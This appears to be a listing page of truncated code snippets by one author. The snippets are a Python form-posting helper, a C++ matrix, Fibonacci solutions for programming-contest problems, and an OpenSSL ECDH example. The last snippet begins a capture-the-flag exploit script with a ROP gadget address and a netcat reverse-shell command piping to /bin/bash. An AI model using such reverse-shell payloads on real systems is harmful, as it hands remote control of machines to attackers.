AhnMo

import urllib2
import urllib

import itertools
import mimetools
import mimetypes
from cStringIO import StringIO

class MultiPartForm(object):
	"""Accumulate the data to be used when posting a form."""

AhnMo

#include <iostream>
#include <list>

using namespace std;

#define N 4
int size = N;
bool MATRIX[N][N] = {
	{0, 1, 1, 1},
	{0, 0, 1, 1},

AhnMo

// lavida.us 1723
#include <stdio.h>

unsigned long long int cache[91];
unsigned long long int fibo(int n) {
	int a;
	if (cache[n] != 0) return cache[n];
	cache[n] = (n == 0 || n == 1)? n: fibo(n - 2) + fibo(n - 1);
	return cache[n];
}

AhnMo

// acmicpc.net 1003
#include <stdio.h>

int zero, one;
int fibonacci(int n) {
	if (n==0) {
		zero++;
		return 0;
	} else if (n==1) {
		one++;

AhnMo

// ECDH.c
// $ gcc -o ECDH -lcrypto -lssl ECDH.c
#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/ecdh.h>
#include <openssl/obj_mac.h>

typedef struct _KEYPAIR {
	BIGNUM *x, *y;

AhnMo

#!/usr/bin/python
# Luckyzzang (HDCON 2013 Problem 5)
import socket, struct
p  = lambda x: struct.pack('<L', x)
up = lambda x: struct.unpack('<L', x)[0]

command = 'nc 192.168.99.1 3334 | /bin/bash | nc 192.168.99.1 3333'

ppppr = p(0x080489cc)
sock_fd = p(4)